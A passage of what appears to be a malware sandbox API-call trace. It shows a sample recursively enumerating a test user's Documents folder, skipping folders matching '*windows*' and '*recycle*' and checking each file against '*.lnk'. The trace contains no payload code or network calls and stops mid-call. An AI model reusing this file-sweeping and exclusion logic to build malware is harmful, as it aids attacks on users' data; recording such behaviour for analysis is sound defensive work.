ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0271.075] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.075] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="My Videos" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\My Videos") returned="C:\\Users\\kEecfMwgj\\Documents\\My Videos" [0271.075] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.075] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.075] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.075] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.075] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.075] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.075] LocalFree (hMem=0x6b9738) returned 0x0 [0271.075] PathMatchSpecW (pszFile="My Videos", pszSpec="*windows*") returned 0 [0271.076] LocalFree (hMem=0x6fe220) returned 0x0 [0271.076] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.076] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.076] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.076] lstrlenW (lpString="*recycle*") returned 9 [0271.076] lstrlenW (lpString="*recycle*") returned 9 [0271.076] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.076] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.076] LocalFree (hMem=0x6fb588) returned 0x0 [0271.076] PathMatchSpecW (pszFile="My Videos", pszSpec="*recycle*") returned 0 [0271.076] LocalFree (hMem=0x6fe220) returned 0x0 [0271.077] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.077] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\My Videos" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\My Videos") returned="C:\\Users\\kEecfMwgj\\Documents\\My Videos" [0271.077] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\My Videos") returned 38 [0271.077] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\My Videos\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\my videos\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x6fdcfe, ftCreationTime.dwLowDateTime=0x751db620, ftCreationTime.dwHighDateTime=0x6, ftLastAccessTime.dwLowDateTime=0x104, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x751db619, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="", cAlternateFileName="㡺盳㑲盳")) returned 0xffffffff [0271.077] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.077] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.078] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48dda130, ftCreationTime.dwHighDateTime=0x1d85911, ftLastAccessTime.dwLowDateTime=0x79ff6150, ftLastAccessTime.dwHighDateTime=0x1d85ba9, ftLastWriteTime.dwLowDateTime=0x79ff6150, ftLastWriteTime.dwHighDateTime=0x1d85ba9, nFileSizeHigh=0x0, nFileSizeLow=0xfb21, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="nSF0xa92pih.xlsx", cAlternateFileName="NSF0XA~1.XLS")) returned 1 [0271.078] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.078] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.078] lstrlenW (lpString="nSF0xa92pih.xlsx") returned 16 [0271.078] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.078] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x6fe220 [0271.078] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.078] lstrlenW (lpString="*.lnk") returned 5 [0271.078] lstrlenW (lpString="*.lnk") returned 5 [0271.078] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.078] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.078] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.079] PathMatchSpecW (pszFile="nSF0xa92pih.xlsx", pszSpec="*.lnk") returned 0 [0271.079] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.079] LocalFree (hMem=0x6fe220) returned 0x0 [0271.079] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0271.080] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.080] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="Outlook Files" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files") returned="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files" [0271.080] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.080] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.080] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.080] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.080] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.080] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.080] LocalFree (hMem=0x6b9738) returned 0x0 [0271.080] PathMatchSpecW (pszFile="Outlook Files", pszSpec="*windows*") returned 0 [0271.080] LocalFree (hMem=0x6fe220) returned 0x0 [0271.080] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.081] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.081] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.081] lstrlenW (lpString="*recycle*") returned 9 [0271.081] lstrlenW (lpString="*recycle*") returned 9 [0271.081] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.081] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.081] LocalFree (hMem=0x6fb588) returned 0x0 [0271.081] PathMatchSpecW (pszFile="Outlook Files", pszSpec="*recycle*") returned 0 [0271.082] LocalFree (hMem=0x6fe220) returned 0x0 [0271.082] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.082] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files") returned="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files" [0271.082] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files") returned 42 [0271.082] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0271.272] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.272] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 1 [0271.272] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.272] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files") returned="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files" [0271.272] lstrlenW (lpString="\\") returned 1 [0271.272] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\Outlook Files") returned 42 [0271.272] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6fe220 [0271.273] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.273] lstrlenW (lpString="*.lnk") returned 5 [0271.273] lstrlenW (lpString="*.lnk") returned 5 [0271.273] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.273] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.273] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.273] PathMatchSpecW (pszFile="franc@gdllo.de.pst", pszSpec="*.lnk") returned 0 [0271.274] LocalFree (hMem=0x6fe220) returned 0x0 [0271.274] LocalFree (hMem=0x6fa838) returned 0x0 [0271.274] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 0 [0271.274] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.274] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0271.275] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.275] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55afa8d0, ftCreationTime.dwHighDateTime=0x1d832e3, ftLastAccessTime.dwLowDateTime=0xbceac150, ftLastAccessTime.dwHighDateTime=0x1d862af, ftLastWriteTime.dwLowDateTime=0xbceac150, ftLastWriteTime.dwHighDateTime=0x1d862af, nFileSizeHigh=0x0, nFileSizeLow=0x8b92, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="P0aLWdQ.docx", cAlternateFileName="P0ALWD~1.DOC")) returned 1 [0271.275] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.275] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.275] lstrlenW (lpString="P0aLWdQ.docx") returned 12 [0271.275] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.275] LocalAlloc (uFlags=0x40, uBytes=0x152) returned 0x6fe220 [0271.275] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.275] lstrlenW (lpString="*.lnk") returned 5 [0271.275] lstrlenW (lpString="*.lnk") returned 5 [0271.275] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.275] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.276] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.276] PathMatchSpecW (pszFile="P0aLWdQ.docx", pszSpec="*.lnk") returned 0 [0271.276] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.276] LocalFree (hMem=0x6fe220) returned 0x0 [0271.276] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841ce710, ftCreationTime.dwHighDateTime=0x1d8408e, ftLastAccessTime.dwLowDateTime=0xb4a6bbe0, ftLastAccessTime.dwHighDateTime=0x1d84345, ftLastWriteTime.dwLowDateTime=0xb4a6bbe0, ftLastWriteTime.dwHighDateTime=0x1d84345, nFileSizeHigh=0x0, nFileSizeLow=0x1341b, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="qz0yFNdqHw_Nb6v9ipz.xlsx", cAlternateFileName="QZ0YFN~1.XLS")) returned 1 [0271.276] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.276] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.276] lstrlenW (lpString="qz0yFNdqHw_Nb6v9ipz.xlsx") returned 24 [0271.276] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.276] LocalAlloc (uFlags=0x40, uBytes=0x16a) returned 0x6fe220 [0271.276] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.277] lstrlenW (lpString="*.lnk") returned 5 [0271.277] lstrlenW (lpString="*.lnk") returned 5 [0271.277] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.277] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.277] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.277] PathMatchSpecW (pszFile="qz0yFNdqHw_Nb6v9ipz.xlsx", pszSpec="*.lnk") returned 0 [0271.277] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.277] LocalFree (hMem=0x6fe220) returned 0x0 [0271.278] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f9f470, ftCreationTime.dwHighDateTime=0x1d8a1d4, ftLastAccessTime.dwLowDateTime=0x5a86b680, ftLastAccessTime.dwHighDateTime=0x1d8a559, ftLastWriteTime.dwLowDateTime=0x5a86b680, ftLastWriteTime.dwHighDateTime=0x1d8a559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="x-C0GVyflM", cAlternateFileName="X-C0GV~1")) returned 1 [0271.278] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.278] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="x-C0GVyflM" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" [0271.278] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.278] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.278] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.278] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.278] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.278] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.278] LocalFree (hMem=0x6b9738) returned 0x0 [0271.278] PathMatchSpecW (pszFile="x-C0GVyflM", pszSpec="*windows*") returned 0 [0271.278] LocalFree (hMem=0x6fe220) returned 0x0 [0271.278] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.279] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.279] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.279] lstrlenW (lpString="*recycle*") returned 9 [0271.279] lstrlenW (lpString="*recycle*") returned 9 [0271.279] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.279] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.279] LocalFree (hMem=0x6fb588) returned 0x0 [0271.279] PathMatchSpecW (pszFile="x-C0GVyflM", pszSpec="*recycle*") returned 0 [0271.280] LocalFree (hMem=0x6fe220) returned 0x0 [0271.280] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.280] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" [0271.280] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned 39 [0271.280] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\x-c0gvyflm\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f9f470, ftCreationTime.dwHighDateTime=0x1d8a1d4, ftLastAccessTime.dwLowDateTime=0x5a86b680, ftLastAccessTime.dwHighDateTime=0x1d8a559, ftLastWriteTime.dwLowDateTime=0x5a86b680, ftLastWriteTime.dwHighDateTime=0x1d8a559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0271.283] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f9f470, ftCreationTime.dwHighDateTime=0x1d8a1d4, ftLastAccessTime.dwLowDateTime=0x5a86b680, ftLastAccessTime.dwHighDateTime=0x1d8a559, ftLastWriteTime.dwLowDateTime=0x5a86b680, ftLastWriteTime.dwHighDateTime=0x1d8a559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.283] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x526a42f0, ftCreationTime.dwHighDateTime=0x1d897da, ftLastAccessTime.dwLowDateTime=0xddf71d80, ftLastAccessTime.dwHighDateTime=0x1d8a251, ftLastWriteTime.dwLowDateTime=0xddf71d80, ftLastWriteTime.dwHighDateTime=0x1d8a251, nFileSizeHigh=0x0, nFileSizeLow=0x1bf1, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="8Ng-cvfb6RH3O.csv", cAlternateFileName="8NG-CV~1.CSV")) returned 1 [0271.283] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.283] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" [0271.283] lstrlenW (lpString="\\") returned 1 [0271.283] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned 39 [0271.284] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6fe220 [0271.284] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.284] lstrlenW (lpString="*.lnk") returned 5 [0271.284] lstrlenW (lpString="*.lnk") returned 5 [0271.284] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.284] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.284] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.284] PathMatchSpecW (pszFile="8Ng-cvfb6RH3O.csv", pszSpec="*.lnk") returned 0 [0271.285] LocalFree (hMem=0x6fe220) returned 0x0 [0271.285] LocalFree (hMem=0x6fa838) returned 0x0 [0271.285] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf931de80, ftCreationTime.dwHighDateTime=0x1d8a3b6, ftLastAccessTime.dwLowDateTime=0x579d7c20, ftLastAccessTime.dwHighDateTime=0x1d8a6c0, ftLastWriteTime.dwLowDateTime=0x579d7c20, ftLastWriteTime.dwHighDateTime=0x1d8a6c0, nFileSizeHigh=0x0, nFileSizeLow=0xa44c, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="kmfzZuOI4.csv", cAlternateFileName="KMFZZU~1.CSV")) returned 1 [0271.285] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.285] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" [0271.285] lstrlenW (lpString="\\") returned 1 [0271.285] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned 39 [0271.285] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6fe220 [0271.285] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.285] lstrlenW (lpString="*.lnk") returned 5 [0271.285] lstrlenW (lpString="*.lnk") returned 5 [0271.285] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.285] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.285] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.285] PathMatchSpecW (pszFile="kmfzZuOI4.csv", pszSpec="*.lnk") returned 0 [0271.286] LocalFree (hMem=0x6fe220) returned 0x0 [0271.286] LocalFree (hMem=0x6fa838) returned 0x0 [0271.286] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c01fb80, ftCreationTime.dwHighDateTime=0x1d8a571, ftLastAccessTime.dwLowDateTime=0xe8ff27a0, ftLastAccessTime.dwHighDateTime=0x1d8a5b1, ftLastWriteTime.dwLowDateTime=0xe8ff27a0, ftLastWriteTime.dwHighDateTime=0x1d8a5b1, nFileSizeHigh=0x0, nFileSizeLow=0xf14a, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="L_vy4rp.pptx", cAlternateFileName="L_VY4R~1.PPT")) returned 1 [0271.286] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.286] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" [0271.286] lstrlenW (lpString="\\") returned 1 [0271.286] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned 39 [0271.286] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6fe220 [0271.286] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.286] lstrlenW (lpString="*.lnk") returned 5 [0271.286] lstrlenW (lpString="*.lnk") returned 5 [0271.286] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.286] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.286] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.287] PathMatchSpecW (pszFile="L_vy4rp.pptx", pszSpec="*.lnk") returned 0 [0271.287] LocalFree (hMem=0x6fe220) returned 0x0 [0271.287] LocalFree (hMem=0x6fa838) returned 0x0 [0271.287] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafd3b240, ftCreationTime.dwHighDateTime=0x1d89a74, ftLastAccessTime.dwLowDateTime=0x6e67d510, ftLastAccessTime.dwHighDateTime=0x1d8a47f, ftLastWriteTime.dwLowDateTime=0x6e67d510, ftLastWriteTime.dwHighDateTime=0x1d8a47f, nFileSizeHigh=0x0, nFileSizeLow=0x13a66, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="ryZsmQQjOS.ods", cAlternateFileName="RYZSMQ~1.ODS")) returned 1 [0271.287] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.287] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" [0271.287] lstrlenW (lpString="\\") returned 1 [0271.287] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned 39 [0271.287] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6fe220 [0271.287] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.287] lstrlenW (lpString="*.lnk") returned 5 [0271.287] lstrlenW (lpString="*.lnk") returned 5 [0271.287] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.287] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.288] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.288] PathMatchSpecW (pszFile="ryZsmQQjOS.ods", pszSpec="*.lnk") returned 0 [0271.288] LocalFree (hMem=0x6fe220) returned 0x0 [0271.288] LocalFree (hMem=0x6fa838) returned 0x0 [0271.288] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a2f95f0, ftCreationTime.dwHighDateTime=0x1d8a0eb, ftLastAccessTime.dwLowDateTime=0x986be970, ftLastAccessTime.dwHighDateTime=0x1d8a35b, ftLastWriteTime.dwLowDateTime=0x986be970, ftLastWriteTime.dwHighDateTime=0x1d8a35b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="W-TssfUcS", cAlternateFileName="W-TSSF~1")) returned 1 [0271.288] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.288] PathCombineW (in: pszDest=0x6fa838, pszDir="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM", pszFile="W-TssfUcS" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" [0271.288] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.289] LocalAlloc (uFlags=0x40, 